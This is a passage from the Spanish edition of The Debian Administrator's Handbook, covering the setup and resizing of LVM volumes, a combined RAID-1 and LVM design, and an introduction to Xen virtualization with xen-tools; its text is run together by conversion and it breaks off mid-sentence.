Physical volume "/dev/sdf2" successfully created

# pvdisplay -C

PV VG Fmt Attr PSize PFree

/dev/sdb2 lvm2 a- 4.00g 4.00g

/dev/sdc3 lvm2 a- 3.09g 3.09g

/dev/sdd lvm2 a- 4.00g 4.00g

/dev/sdf1 lvm2 a- 4.10g 4.10g

/dev/sdf2 lvm2 a- 5.22g 5.22g

Hasta ahora, todo va bien; sepa quepuede configurar un PV en un discocompleto así como también enparticiones individuales del mismo.Como mostramos, el programapvdisplay enumera los PVs existentes,con dos formatos de salida posibles.

Ahora agruparemos estos elementos

Page 1415: El Libro Del Administrador de Debian - Raphael Hertzog

físicos en VGs utilizando vgcreate.Reuniremos PVs de los discos rápidosen el VG vg_critical; el otro VG,vg_normal también incluirá loselementos más lentos.

# vgdisplay

# vgcreate vg_critical /dev/sdb2 /dev/sdf1

Volume group "vg_critical" successfully created

# vgdisplay

--- Volume group ---

VG Name vg_critical

System ID

Format lvm2

Metadata Areas 2

Metadata Sequence No 1

VG Access read/write

VG Status resizable

MAX LV 0

Cur LV 0

Open LV 0

Page 1416: El Libro Del Administrador de Debian - Raphael Hertzog

Max PV 0

Cur PV 2

Act PV 2

VG Size 8.14 GB

PE Size 4.00 MB

Total PE 2084

Alloc PE / Size 0 / 0

Free PE / Size 2084 / 8.14 GB

VG UUID 6eG6BW-MmJE-KB0J-dsB2-52iL-N6eD-1paeo8

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2

Volume group "vg_normal" successfully created

# vgdisplay -C

VG #PV #LV #SN Attr VSize VFree

vg_critical 2 0 0 wz--n- 8.14g 8.14g

vg_normal 3 0 0 wz--n- 12.30g 12.30g

Aquí también los programas sonbastante directos (y vgdisplay tambiénpropone dos formatos de salida). Sepaque es posible utilizar dos particiones

Page 1417: El Libro Del Administrador de Debian - Raphael Hertzog

del mismo disco físico en dos VGsdiferentes. Además utilizamos elprefijo vg_ para el nombre de nuestrosVGs, pero es sólo una convención.

Ahora contamos con dos «discosvirtuales», de alrededor 8 GB y 12 GBde tamaño respectivamente. Ahora losrepartiremos en «particiones virtuales»(LVs). Esto involucra el programalvcreate y una sintáxis ligeramentemás compleja:

# lvdisplay

# lvcreate -n lv_files -L 5G vg_critical

Logical volume "lv_files" created

# lvdisplay

--- Logical volume ---

LV Name /dev/vg_critical/lv_files

VG Name vg_critical

Page 1418: El Libro Del Administrador de Debian - Raphael Hertzog

LV UUID 4QLhl3-2cON-jRgQ-X4eT-93J4-6Ox9-GyRx3M

LV Write Access read/write

LV Status available

# open 0

LV Size 5.00 GB

Current LE 1280

Segments 2

Allocation inherit

Read ahead sectors auto

- currently set to 256

Block device 253:0

# lvcreate -n lv_base -L 1G vg_critical

Logical volume "lv_base" created

# lvcreate -n lv_backups -L 12G vg_normal

Logical volume "lv_backups" created

# lvdisplay -C

LV VG Attr LSize Origin Snap% Move Log Copy% Convert

lv_base vg_critical -wi-a- 1.00G

lv_files vg_critical -wi-a- 5.00G

lv_backups vg_normal -wi-a- 12.00G

Page 1419: El Libro Del Administrador de Debian - Raphael Hertzog

Necesita dos parámetros cuando creevolúmenes lógicos; debe proveerlos alvcreate como opciones. Especificaráel nombre del LV a crear con la opción-n y, usualmente, su tamaño con laopción -L. Por supuesto, tambiénnecesitaremos indicarle sobre qué VGtrabajar, de allí el último parámetro enla ejecución.

YENDO MÁS ALLÁ Opciones delvcreate

El programa lvcreate tiene variasopciones que modifican la creación delLV.

Primero describamos la opción -l, con laque puede indicar el tamaño del LV como

Page 1420: El Libro Del Administrador de Debian - Raphael Hertzog

una cantidad de bloques (en lugar de lasunidades «humanas» que utilizamos en elejemplo). Estos bloques (PEs en términosde LVM, extensiones físicas: «physicalextents») son unidades de espacio dealmacenamiento contiguo en los PVs, yno pueden dividirse entre LVs. Cuandouno desea definir el espacio dealmacenamiento para un LV con ciertaprecisión, por ejemplo para utilizar todoel espacio disponible, generalmente espreferible utilizar la opción -l en lugar de-L.

También es posible sugerir la ubicaciónfísica de un LV para que se almacenen susextensiones en un PV particular(obviamente limitándose a aquellasasignadas al VG). Dado que sabemos quesdb es más rápido que sdf, desearíamosalmacenar lv_base allí si nos interesa

Page 1421: El Libro Del Administrador de Debian - Raphael Hertzog

darle una ventaja al servidor de base dedatos comparado con el servidor dearchivos. De esa forma, la orden aejecutar sería: lvcreate -n lv_base -L 1Gvg_critical /dev/sdb2. Sepa que estaejecución puede fallar si el PV no poseesuficientes extensiones libres. En nuestroejemplo, probablemente deberíamos crearlv_base antes que lv_files para evitaresta situación — o liberar algo de espacioen sdb2 con el programa pvmove.

Una vez que creó los volúmeneslógicos, éstos serán archivos dedispositivos de bloque en/dev/mapper/:

# ls -l /dev/mapper

total 0

Page 1422: El Libro Del Administrador de Debian - Raphael Hertzog

crw-rw---- 1 root root 10, 59 5 oct. 17:40 control

lrwxrwxrwx 1 root root 7 5 oct. 18:14 vg_critical-lv_base -> ../dm-1

lrwxrwxrwx 1 root root 7 5 oct. 18:14 vg_critical-lv_files -> ../dm-0

lrwxrwxrwx 1 root root 7 5 oct. 18:14 vg_normal-lv_backups -> ../dm-2

# ls -l /dev/dm-*

brw-rw---- 1 root disk 253, 0 5 oct. 18:14 /dev/dm-0

brw-rw---- 1 root disk 253, 1 5 oct. 18:14 /dev/dm-1

brw-rw---- 1 root disk 253, 2 5 oct. 18:14 /dev/dm-2

NOTA Autodetección de volúmenesLVM

Cuando inicia el equipo, el script/etc/init.d/lvm escanea los dispositivosdisponibles; registra con el subsistemaLVM a aquellos que fueron inicializadoscomo volúmenes físicos para LVM,agrupa aquellos que pertenecen a gruposde volúmenes e inicializa y hacedisponibles los volúmenes lógicosrelevantes. Por lo tanto, no es necesario

Page 1423: El Libro Del Administrador de Debian - Raphael Hertzog

editar archivos de configuración cuandocrea o modifica volúmenes LVM.

Sepa, sin embargo, que se respalda ladistribución de los elementos de LVM(volúmenes físicos y loǵicos y grupos devolúmenes) en /etc/lvm/backup, lo cualpuede ser útil en caso de algún problema(o tan sólo para espiar tras bambalinas).

Para hacer las cosas más sencillas, secrean enlaces simbólicos convenientesen directorios que coinciden con losVGs:

# ls -l /dev/vg_critical

total 0

lrwxrwxrwx 1 root root 7 5 oct. 18:14 lv_base -> ../dm-1

lrwxrwxrwx 1 root root 7 5 oct. 18:14 lv_files -> ../dm-0

Page 1424: El Libro Del Administrador de Debian - Raphael Hertzog

# ls -l /dev/vg_normal

total 0

lrwxrwxrwx 1 root root 7 5 oct. 18:14 lv_backups -> ../dm-2

Puede utilizar LVs exactamente de lamisma forma que particiones estándar:

# mkfs.ext4 /dev/vg_normal/lv_backups

mke2fs 1.41.12 (17-May-2010)

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

[...]

This filesystem will be automatically checked every 34 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

# mkdir /srv/backups

# mount /dev/vg_normal/lv_backups /srv/backups

# df -h /srv/backups

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/vg_normal-lv_backups

12G 159M 12G 2% /srv/backups

# [...]

Page 1425: El Libro Del Administrador de Debian - Raphael Hertzog

[...]

# cat /etc/fstab

[...]

/dev/vg_critical/lv_base /srv/base ext4

/dev/vg_critical/lv_files /srv/files ext4

/dev/vg_normal/lv_backups /srv/backups ext4

Desde el punto de vista de lasaplicaciones, todas las pequeñasparticiones se encuentran abstraídas enun gran volumen de 12 GB con unnombre más amigable.

12.1.2.3. LVM en el tiempo

Aún cuando es conveniente poderagrupar particiones o discos físicos,esta no es la principal ventaja queprovee LVM. La flexibilidad que

Page 1426: El Libro Del Administrador de Debian - Raphael Hertzog

brinda es especialmente notable con elpaso del tiempo cuando evolucionanlas necesidades. En nuestro ejemplo,supongamos que debemos almacenarnuevos archivos grandes y que el LVdedicado al servidor de archivos esdemasiado pequeño para contenerlos.Debido a que no utilizamos todo elespacio disponibleen vg_critical,podemos aumentar el tamaño delv_files. Para ello, utilizaremos elprograma lvresize y luego resize2fspara adaptar el sistema de archivossegún corresponda:

# df -h /srv/files/

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files

5.0G 4.6G 142M 98% /srv/files

Page 1427: El Libro Del Administrador de Debian - Raphael Hertzog

# lvdisplay -C vg_critical/lv_files

LV VG Attr LSize Origin Snap% Move Log Copy% Convert

lv_files vg_critical -wi-ao 5.00g

# vgdisplay -C vg_critical

VG #PV #LV #SN Attr VSize VFree

vg_critical 2 2 0 wz--n- 8.14g 2.14g

# lvresize -L 7G vg_critical/lv_files

Extending logical volume lv_files to 7.00 GB

Logical volume lv_files successfully resized

# lvdisplay -C vg_critical/lv_files

LV VG Attr LSize Origin Snap% Move Log Copy% Convert

lv_files vg_critique -wi-ao 7.00g

# resize2fs /dev/vg_critical/lv_files

resize2fs 1.41.12 (17-May-2010)

Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required

old desc_blocks = 1, new_desc_blocks = 1

Performing an on-line resize of /dev/vg_critical/lv_files to 1835008 (4k) blocks.

The filesystem on /dev/vg_critical/lv_files is now 1835008 blocks long.

# df -h /srv/files/

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files

Page 1428: El Libro Del Administrador de Debian - Raphael Hertzog

6.9G 4.6G 2.1G 70% /srv/files

PRECAUCIÓN Redimensión de sistemasde archivos

No todos los sistemas de archivos puedencambiar su tamaño fácilmente; modificarun volúmen, por lo tanto, requeriráprimero desmotar el sistema de archivos yvolver a montarlo luego. Por supuesto, siuno desea disminuir el espacio asignado aun LV, primero debe reducir el sistema dearchivos; el orden se invierte cuando elcambio de tamaño es en la otra dirección:primero debe aumentar el volumen lógicoantes que el sistema de archivos quecontiene. Es bastante directo ya que enningún momento el sistema de archivospuede ser más grande que el dispositivode bloques en el que reside (tanto cuandoéste dispositivo sea una partición física o

Page 1429: El Libro Del Administrador de Debian - Raphael Hertzog

volumen lógico).

Los sistemas de archivos ext3, ext4 y xfspueden agrandarse sin desmontarlos;deberá desmontarlos para reducirlos. Elsistema de archivos reiserfs permitecambiar el tamaño en cualquier direcciónsin desmontarlo. El venerable ext2 no lopermite y siempre necesitará desmontarloprimero.

Podemos proceder de una formasimilar para extender el volumen quealmacena la base de datos, sólo quehabremos alcanzado el límite deespacio disponible del VG:

# df -h /srv/base/

Filesystem Size Used Avail Use% Mounted on

Page 1430: El Libro Del Administrador de Debian - Raphael Hertzog

/dev/mapper/vg_critical-lv_base

1008M 835M 123M 88% /srv/base

# vgdisplay -C vg_critical

VG #PV #LV #SN Attr VSize VFree

vg_critical 2 2 0 wz--n- 8.14g 144.00m

Esto no importa ya que LVM permiteagregar volúmenes físicos a grupos devolúmenes existentes. Por ejemplo,podríamos haber notado que lapartición sdb1, que se encontraba fuerade LVM hasta ahora, sólo conteníaarchivos que podían ser movidos alv_backups. Ahora podremosreciclarla e integrarla al grupo devolúmenes y reclamar así espaciodisponible. Este es el propósito delprograma vgextend. Por supuesto, debeprepara la partición como un volúmen

Page 1431: El Libro Del Administrador de Debian - Raphael Hertzog

físico antes. Una vez que extendió elVG, puede ejecutar órdenes similares alas anteriores para aumentar elvolumen lógico y luego el sistema dearchivos:

# pvcreate /dev/sdb1

Physical volume "/dev/sdb1" successfully created

# vgextend vg_critical /dev/sdb1

Volume group "vg_critical" successfully extended

# vgdisplay -C vg_critical

VG #PV #LV #SN Attr VSize VFree

vg_critical 3 2 0 wz--n- 9.09g 1.09g

# [...]

[...]

# df -h /srv/base/

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base

2.0G 835M 1.1G 44% /srv/base

YENDO MÁS ALLÁ LVM avanzado

Page 1432: El Libro Del Administrador de Debian - Raphael Hertzog

LVM también se adapta a usuarios másavanzados que pueden especificar a manomuchos detalles. Por ejemplo, unadministrador puede adaptar el tamaño delos bloques que componen a losvolúmenes lógicos y físicos así comotambién la distribución física. También esposible mover bloques entre PVs, porejemplo para ajustar el rendimiento o, loque es menos interesante, liberar un PVcuando uno necesite extraer el discofísico correspondiente del VG (ya seapara asociarlo a otro VG o para eliminarlocompletamente de LVM). Las páginas demanual que describen estos programasgeneralmente son claras y detalladas. Unbuen punto de partida es la página demanual lvm(8).

Page 1433: El Libro Del Administrador de Debian - Raphael Hertzog

12.1.3. ¿RAID oLVM?Tanto RAID como LVM proveenventajas indiscutibles tan pronto comouno deja el caso simple de un equipo deescritorio con sólo un disco duro en elque los patrones de uso no cambian conel tiempo. Sin embargo, RAID y LVMtoman direcciones diferentes, conobjetivos distintos y es legítimopreguntarse cuál utilizar. La respuestasmás apropiada, por supuesto,dependerá de los requerimientosactuales y previstos.

Hay unos pocos casos simples en los

Page 1434: El Libro Del Administrador de Debian - Raphael Hertzog

que no surge esta pregunta. Si losrequisitos son proteger los datos contrafallos de hardware, obviamenteentonces configurará RAID en un arrayde discos redundantes ya que LVM nosoluciona este problema realmente. Si,por el otro lado, necesita un esquemade almacenamiento flexible en el quelos volúmenes sean independientes dela distribución física de los discos,RAID no es de mucha ayuda y LVM esla elección natural.

El tercer caso notable de uso es uno enel que uno sólo desea agrupar dosdiscos en un solo volumen, ya sea porrazones de rendimiento o para tenersólo un sistema de archivos más grande

Page 1435: El Libro Del Administrador de Debian - Raphael Hertzog

que cualquiera de los discosdisponibles. Puede solucionar este casotanto con RAID-0 (o inclusive RAIDlineal) como con un volumen LVM.Cuando se encuentre con esta situación,y sin limitaciones adicionales (comoser consistente con el resto de losequipos si sólo utilizan RAID),generalmente elegirá utilizar LVM. Laconfiguración inicial es ligeramentemás compleja, pero es compensada porla flexibilidad adicional que proveeLVM si cambian los requisitos onecesita agregar nuevos discos.

Luego por supuesto, está el caso de usorealmente interesante, en el que elsistema de almacenamiento debe ser

Page 1436: El Libro Del Administrador de Debian - Raphael Hertzog

resistente a fallos de hardware ytambién flexible en cuanto a laasignación de volúmenes. Ni RAID niLVM pueden solucionar ambosrequisitos por sí mismos; no importa,esta es la situación en la queutilizaremos ambos al mismo tiempo— o más bien, uno sobre el otro. Elesquema más utilizado, casi unestándar desde que RAID y LVM sonsuficientemente maduros, es asegurarredundancia en los datos primeroagrupando discos en una cantidadmenor de arrays RAID grandes y luegoutilizar estos arrays RAID comovolúmenes físicos LVM; conseguirá lasparticiones lógicas para los sistemas dearchivo a partir de estos LVs. El punto

Page 1437: El Libro Del Administrador de Debian - Raphael Hertzog

fuerte de esta configuración es que,cuando falla un disco, sólo necesitaráreconstruir una pequeña cantidad dearrays RAID, de esa forma limitando eltiempo que utiliza el administrador enrecuperarlo.

Veamos un caso concreto: eldepartamento de relaciones públicas enFalcot Corp necesita una estación detrabajo para edición de video, pero elpresupuesto del mismo no permiteinvertir en hardware de gama altadesde el principio. Se decide entoncesutilizar el presupuesto en hardwareespecífico a la naturaleza gráfica deltrabajo (pantalla y tarjeta de video) yutilizar hardware genérico para el

Page 1438: El Libro Del Administrador de Debian - Raphael Hertzog

almacenamiento. Sin embargo, comoes públicamente conocido, el videodigital tiene ciertas necesidadesparticulares para su almacenamiento:una gran cantidad de datos que guardary es importante la tasa de rendimientopara leer y escribir estos datos esimportante para el rendimiento generaldel sistema (más que el tiempo típicode acceso, por ejemplo). Necesitacumplir estos requisitos con hardwaregenérico, en este caso dos discos durosSATA de 300 Gb; también debe hacerque los datos de sistema, y algunosdatos de usuarios, puedan resistir fallosen el hardware. Los videos editadosdeben estar seguros, pero los videosque todavía no fueron editados son

Page 1439: El Libro Del Administrador de Debian - Raphael Hertzog

menos críticos ya que todavía seencuentran en cinta.

Satisfacemos estas limitacionescombinando RAID-1 y LVM.Conectamos los discos a doscontroladoras SATA diferentes paraoptimizar el acceso en paralelo yreducir el riesgo de fallos simultáneos,por lo que aparecerán como sda y sdc.Los particionamos de forma idénticasegún el siguiente esquema:

# fdisk -l /dev/sda

Disk /dev/hda: 300.0 GB, 300090728448 bytes

255 heads, 63 sectors/track, 36483 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Page 1440: El Libro Del Administrador de Debian - Raphael Hertzog

Disk identifier: 0x00039a9f

Device Boot Start End Blocks Id System

/dev/sda1 * 1 124 995998+ fd Linux raid autodetect

/dev/sda2 125 248 996030 82 Linux swap / Solaris

/dev/sda3 249 36483 291057637+ 5 Extended

/dev/sda5 249 12697 99996561 fd Linux raid autodetect

/dev/sda6 12698 25146 99996561 fd Linux raid autodetect

/dev/sda7 25147 36483 91064421 8e Linux LVM

Agrupamos las primerasparticiones de ambos discos (dealrededor de 1 GB) en un volúmenRAID-1, md0. Utilizamos el espejodirectamente para almacenar elsistema de archivos raíz.Utilizamos las particiones sda2 ysdc2 como particiones deintercambio que proveen un totalde 2 GB de espacio de

Page 1441: El Libro Del Administrador de Debian - Raphael Hertzog

intercambio. Con 1 GB de RAM,la estación de trabajo tiene unacantidad adecuada de memoriadisponible.Agrupamos las particiones sda5 ysdc5, así como también sda6 ysdc6, en dos nuevos volúmenesRAID-1 de alrededor de 100 GBcada uno: md1 y md2.Inicializamos ambos espejoscomo volúmenes físicos paraLVM y se los asigna al grupo devolúmenes vg_raid. Por lo tanto,este VG contieneaproximadamente 200 GB deespacio seguro.Utilizamos las particionesrestantes, sda7 y sdc7,

Page 1442: El Libro Del Administrador de Debian - Raphael Hertzog

directamente como volúmenesfísicos y las asignamos a otro VGllamado vg_bulk que contiene, deesa forma, alrededor de 200 GB deespacio.

Una vez que crearomos los VGs,podemos particionalos de forma muyflexible. Uno debe recordar que sepreservarán los LVs creados envg_raid aún si falla uno de los discos,pero no será el caso de los LVs creadosen vg_bulk; por el otro lado, esteúltimo será resevado en paralelo enambos discos lo que permitirávelocidades de lectura y escrituramayores para archivos grandes.

Page 1443: El Libro Del Administrador de Debian - Raphael Hertzog

Creamos entonces los LVs lv_usr,lv_var y lv_home en vg_raid paraalmacenar los sistemas de archivoscorrespondientes; utilizaremos otro LVgrande, lv_movies, para almacenar lasversiones finales de los videos luego deeditarlos. Dividiremos el otro VG en ungran lv_rushes, para datosdirectamente obtenidos de las cámarasde video digital, y lv_tmp paraarchivos temporales. La ubicación delárea de trabajo es una decisión menosdirecta: si bien necesitamos buenrendimiento en dicho volúmen, ¿sejustifica perder trabajo si falla un discodurante una sesión de edición?Dependiendo de la respuesta a dichapregunta, crearemos el LV

Page 1444: El Libro Del Administrador de Debian - Raphael Hertzog

correspondiente en un VG o el otro.

Ahora tenemos tanto redundancia paradatos importantes como flexibilidadsobre la forma en la que se divide elespacio disponible entre lasaplicaciones. En caso que se instalenuevo software (para editar pistas deaudio por ejemplo), puede aumentar sinproblemas el LV que almacena /usr/.

NOTA ¿Porqué tres volúmenes RAID-1?

Podríamos haber creado sólo un volumenRAID-1 a utilizar como volumen físicopara vg_raid. ¿Por qué creamos tresentonces?

El razonamiento para la primera división

Page 1445: El Libro Del Administrador de Debian - Raphael Hertzog

(md0 y los demás) es por seguridad de losdatos: los datos escritos a amboselementos de un espejo RAID-1 sonexactamente los mismos, por lo que esposible evitar la capa RAID y montar unode los discos directamente. En caso de unerror del núcleo, por ejemplo, o si secorrompen los metadatos LVM todavía esposible arrancar un sistema mínimo paraacceder datos críticos como ladistribución de discos en los volúmenesRAID y LVM; podremos luegoreconstruir los metadatos y acceder a losarchivos nuevamente, para poderdevolver el sistema a su estado normal.

El razonamiento para la segunda división(md1 vs. md2) es menos estricto y está másrelacionado con el reconocimiento que elfuturo es incierto. Cuando se ensambló elequipo, no se conocían exactamente los

Page 1446: El Libro Del Administrador de Debian - Raphael Hertzog

requisitos; también puede evolucionarcon el tiempo. En nuestro caso, nopodemos saber por adelantado lanecesidad de espacio de almacenamientode cada tipo de videos. Si un video enparticular necesita una gran cantidad devideos sin editar, y el VG dedicado paradatos redundantes no tiene más de lamitad del espacio disponible, podemosreutilizar parte de su espacio innecesario.Podemos quitar uno de los volúmenesfísicos, por ejemplo md2 de vg_raid yasignarlo a vg_bulk direcamente (si laduración esperada de la operación essuficientemente corta como para que nonos preocupe la pérdida temporal derendimiento), o deshacer la configuraciónRAID en md2 e integrar sus componentessda6 y sdc6 en el VG (que crecerá 200 GBen lugar de 100 GB); luego podremosaumentar el volumen lógico lv_rushes

Page 1447: El Libro Del Administrador de Debian - Raphael Hertzog

según se necesite.

Page 1448: El Libro Del Administrador de Debian - Raphael Hertzog

12.2. VirtualizaciónLa virtualización es uno de los avancesmás grandes de la informática en losúltimos años. El término abarca variasabstracciones y técnicas de simulaciónde equipos virtuales con un gradovariable de independencia de hardwarereal. Un servidor físico puedealmacenar varios sistemas quefuncionan de forma simultánea yaislada. Sus aplicaciones son muchas ygeneralmente surgen de esteaislamiento: entornos de prueba condiferentes configuraciones o separarlos servicios provistos entre diferentesmáquinas virtuales por seguridad.

Page 1449: El Libro Del Administrador de Debian - Raphael Hertzog

Hay múltiples soluciones devirtualización, cada una con susventajas y desventajas. Este libro seconcentrará en Xen, LXC y KVM; perootras implementaciones notablesincluyen las siguientes:

QEMU es un emulador ensoftware para un equipo completo;su rendimiento está lejos de lavelocidad que uno podríaconseguir si ejecutaranativamente, pero esto permiteejecutar en el hardware emuladosistemas operativos sinmodificación o experimentales.También permite emular unaarquitectura de hardware

Page 1450: El Libro Del Administrador de Debian - Raphael Hertzog

diferente: por ejemplo, un sistemai386 puede emular una máquinaarm. QEMU es software libre.

→ http://www.qemu.org/Bochs es otra máquina virtuallibre, pero sólo emula laarquitectura i386.VMWare es una máquina virtualprivativa; como es una de las másantiguas es también una de lasmás conocidas. Funciona sobrecimientos similares a los deQEMU. VMWare proponefuncionalidad avanzada comoinstantáneas («snapshot») de unamáquina virtual en ejecución.

→ http://www.vmware.com/

Page 1451: El Libro Del Administrador de Debian - Raphael Hertzog

VirtualBox es una máquina virtualque es software libre en su mayorparte (aunque algunoscomponentes adicionales estánbajo una licencia privativa). Sibien es más joven que VMWare ylimitada a las arquitecturas i386 yamd64, es una joven promesa; porejemplo, ya permite instantáneas.VirtualBox es parte de Debiandesde Lenny.

→ http://www.virtualbox.org/

12.2.1. XenXen es una solución de«paravirtualización». Introduce una

Page 1452: El Libro Del Administrador de Debian - Raphael Hertzog

fina capa de abstracción, llamada«hypervisor», entre el hardware y lossistemas superiores; ésta actúa comoárbitro controlando el acceso alhardware desde las máquinas virtuales.Sin embargo, sólo gestiona unas pocasinstrucciones, las demás se ejecutandirectamente en el hardware en nombrede los sistemas. La principal ventaja esque no se degrada el rendimiento y lossistemas ejecutan a velocidadescercanas a la nativa; la desventaja esque el núcleo de los sistemasoperativos que uno desee utilizar en unhypervisor Xen necesita ser adaptadopara ejecutar sobre Xen.

Pasemos un poco de tiempo en los

Page 1453: El Libro Del Administrador de Debian - Raphael Hertzog

términos. El hypervisor es la capa másbaja que ejecuta directamente en elhardware, inclusive debajo del núcleo.Este hypervisor puede dividir el restodel software entre varios dominios(«domains»), pueden interpretarsecomo máquinas virtuales. Se conoce auno de estos dominios (el primero eniniciar) como dom0 y tiene un rolespecial ya que sólo este dominiopuede controlar al hypervisor y laejecución de otros dominios. Seconocen a los otros dominios comodomU. En otras palabras, desde elpunto de vista del usuario, el dom0 esel «anfitrión» de los demás sistemas devirtualización, mientras que los domUson sus «invitados».

Page 1454: El Libro Del Administrador de Debian - Raphael Hertzog

CULTURA Xen y las varias versiones deLinux

Inicialmente, se desarrolló Xen como unconjunto de parches que existían fueradel árbol oficial y no estaban integradosen el núcleo Linux. Al mismo tiempo,muchos sistemas de virtualizaciónemergentes (incluyendo KVM)necesitaban ciertas funcionesrelacionadas con la virtualización parafacilitar su integración y el núcleo Linuxdesarrolló dichas funciones (conocidascomo la interfaz paravirt_ops o pv_ops).Debido a que algunos parches de Xenduplicaban parte de la funcionalidad deesta interfaz no podían ser aceptadosoficialmente.

Xensource, la empresa detrás de Xen,tuvo entonces que migrar Xen a esta

Page 1455: El Libro Del Administrador de Debian - Raphael Hertzog

nueva interfaz para que se pudieranintegrar los parches Xen al núcleo Linuxoficial. Esto significó reescribir muchocódigo y, si bien Xensource consiguióuna versión funcional basada en lainterfaz paravirt_ops rápidamente, losparches fueron incluidos progresivamenteen el núcleo oficial. Esta integración secompletó en Linux 3.0.

→ http://wiki.xensource.com/xenwiki/XenParavirtOps

Si bien Squeeze utiliza la versión 2.6.32del núcleo Linux, también está disponibleuna versión que incluye los parches Xende Xensource en los paquetes linux-image-2.6-xen-686 y linux-image-2.6-xen-amd63. Estos parches específicos dela distribución significa que lafuncionalidad disponible depende de ladistribución, la diferencias en las

Page 1456: El Libro Del Administrador de Debian - Raphael Hertzog

versiones de código, o inclusive laintegración del código en desarrollo enalgunas distribuciones también significandiferencias en la funcionalidadcompatible. Este problema deberíareducirse considerablemente ahora queXen fue integrado oficialmente en Linux.

→ http://wiki.xen.org/xenwiki/XenKernelFeatures

Utilizar Xen en Debian requiere trescomponentes:

NOTA Arquitecturas compatibles conXen

Xen sólo está disponible actualmente paralas arquitecturas i386 y amd64. Lo que esmás, utiliza instrucciones de procesador

Page 1457: El Libro Del Administrador de Debian - Raphael Hertzog

que no siempre estuvieron disponibles entodos los equipos de clase i386. Sepa quefuncionarán la mayoría de losprocesadores de clase Pentium (omejores) creados después de 2001, por loque esta restricción no aplicará endemasiadas situaciones.

CULTURA Xen y núcleos distintos aLinux

Xen necesita modificaciones en todos lossistemas operativos que uno deseeejecutar en él; no todos los núcleos tieneel mismo nivel de madurez en esteaspecto. Muchos son completamentefuncionales, tanto para dom0 como paradomU: Linux 2.6 (parchado por Debian) y3.0, NetBSD 4.0 y posterior yOpenSolaris. Otros, como OpenBSD 4.0,

Page 1458: El Libro Del Administrador de Debian - Raphael Hertzog

FreeBSD 8 y Plan 9, sólo funcionan comodomU.

Sin embargo, si Xen puede confiar enfunciones de hardware dedicadas a lavirtualización (que sólo están presentesen procesadores más recientes) inclusivesistemas operativos sin modificaciónpueden ejecutar como domU (incluyendoWindows).

El hypervisor en sí mismo. Segúnel hardware disponible, el paqueteapropiado será xen-hypervisor-4.0-i386 o xen-hypervisor-4.0-amd64.Un núcleo con los parchesapropiados que le permitafuncionar en dicho hypervisor. En

Page 1459: El Libro Del Administrador de Debian - Raphael Hertzog

el caso de 2.6.32 relevante enSqueeze, el hardware disponibleindicará la elección del paquetecorrecto entre los xen-linux-system-2.6.32-5-xen-*disponibles.La arquitectura i386 tambiénnecesita una biblioteca estándarcon los parches apropiados paraaprovechar Xen; ésta se encuentraen el paquete libc6-xen.

Para poder evitar la molesta deseleccionar estos componentes a mano,tiene disponibles varios paquetes porconveniencia (como xen-linux-system-2.6.32-5-xen-686 y variaciones); todosellos incluirán una combinación de

Page 1460: El Libro Del Administrador de Debian - Raphael Hertzog

paquetes del núcleo e hypervisor que sesabe funcionan bien. El hypervisortambién incluirá xen-utils-4.0, quecontien las herramientas para controlarel hypervisor desde el dom0. A su vez,éste incluirá la biblioteca estándarapropiada. Durante la instalación detodo esto, los scripts de configuracióntambién crearán un nuevo elemento enel menú del gestor de arranque Grubpara iniciar el núcleo elegido en undom0 Xen. Sepa sin embargo quegeneralmente éste no será el primeroen la lista y, por lo tanto, no estaráseleccionado de forma predeterminada.Si este no es el comportamiento quedesea, ejecutar lo siguiente locambiará:

Page 1461: El Libro Del Administrador de Debian - Raphael Hertzog

# mv /etc/grub.d/20_linux_xen /etc/grub.d/09_linux_xen

# update-grub

Una vez que instaló estos prerequisitos,el siguiente paso es probar elcomportamiento del dom0 en símismo; esto incluye reiniciar parautilizar el hypervisor y núcleo Xen. Elsistema debería iniciar como siempre,con unos pocos mensajes adicionalesen la consola durante los primerospasos de inicialización.

Ahora es el momento de instalarsistemas útiles en los sistemas domU,utilizando las herramientas en xen-tools. Este paquete provee el programaxen-create-image, que automatiza engran parte esta tarea. El único

Page 1462: El Libro Del Administrador de Debian - Raphael Hertzog

parámetro obligatorio es --hostname,que le da un nombre al domU; otrasopciones son importantes, pero puedeguardarlas en el archivo deconfiguración /etc/xen-tools/xen-tools.conf y si no las especifica nogenerará ningún error. Por lo tanto esimportante revisar el contenido de estearchivo antes de crear imágenes outilizar los parámetros adicionales enla invocación de xen-create-image.Los parámetros importantes a saberincluyen los siguientes:

--memory para especificar lacantidad de RAM dedicada a estenuevo sistema creado;--size y --swap para definir el

Page 1463: El Libro Del Administrador de Debian - Raphael Hertzog

tamaño de los «discos virtuales»disponibles al domU;--debootstrap para causar que seinstale el nuevo sistema condebootstrap; en tal caso,generalmente también utilizará laopción --dist (con el nombre deuna distribución como squeeze).

YENDO MÁS ALLÁ Instalación deun sistema distinto a Debian en undomU

Si no pretende que la imagen Xenejecute Debian si no otro sistemaoperativo, otra opción posiblementeinteresante es --rpmstrap queejecutará rpmstrap para inicializarun nuevo sistema basado en RPM(como Fedora, CentOS o Mandriva).

Page 1464: El Libro Del Administrador de Debian - Raphael Hertzog

Otros métodos incluyen la opción --copy para copiar una imagen de unsistema existente y la opción --tarpara extraer la imagen del sistemadesde un compendio tar.

En el caso de un sistema distinto aLinux, debe tener cuidado de definirel núcleo que debe utilizar el domUcon la opción --kernel.

--dhcp indica que el domU debeobtener su configuración de red através de DHCP, mientras que --ip permite definir una direcciónIP estática.Por último, debe elegir un métodode almacenamiento para lasimágenes a crear (que el domU

Page 1465: El Libro Del Administrador de Debian - Raphael Hertzog

verá como discos duros). Elmétodo más simple, quecorresponde a la opción --dir, escrear un archivo en el dom0 paracada dispositivo que se le proveeal domU. La alternativa ensistemas que utilizan LVM es laopción --lvm seguida del nombrede un grupo de volúmenes; xen-create-image luego creará unnuevo volumen lógico dentro dedicho grupo y éste estarádisponible en el domU como undisco duro.

NOTA Almacenamiento en eldomU

También puede exportar discos

Page 1466: El Libro Del Administrador de Debian - Raphael Hertzog

